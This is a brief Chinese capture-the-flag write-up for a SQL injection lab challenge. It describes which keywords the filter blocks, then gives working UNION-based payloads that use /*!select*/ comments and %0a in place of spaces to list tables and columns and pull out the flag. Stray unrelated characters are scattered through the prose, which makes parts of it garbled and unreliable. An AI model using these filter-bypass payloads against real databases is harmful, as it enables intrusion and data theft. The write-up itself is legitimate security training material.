簡單的sql注入之2
原題鏈接
http://ctf5.shiyanbar.com/web/index_2.php
分析
Burp Fuzz 發(fā)現(xiàn)過濾了
select -- ) 空格
而且它是直接die('SQLi detected!')
访惜,無法雙寫繞過,換大小寫試一下截汪,也被過濾了疾牲。無法大小寫繞過。
%0aselect%0a
無法繞過衙解,
/**/select/**/
和/*!select*/
可以繞過
由于無法使用)
阳柔,所以我們無法使用函數(shù),報錯和database()都無法使用蚓峦,無法獲取數(shù)據(jù)庫名舌剂,但是我們可以嘗試將所有的數(shù)據(jù)表都爆出來。
'union/*!select*/table_name%0afrom%0ainformation_schema.tables%23
查列名
?id=-1'union/*!select*/column_name%0afrom%0ainformation_schema.columns%0awhere%0atable_name='flag'%23
查字段
?id=-1'union/*!select*/flag%0afrom%0aflag%23
flag
flag{Y0u_@r3_5O_dAmn_90Od}
知識點
報錯注入暑椰,繞過技巧(%0a替代空格霍转,/*!*/
,)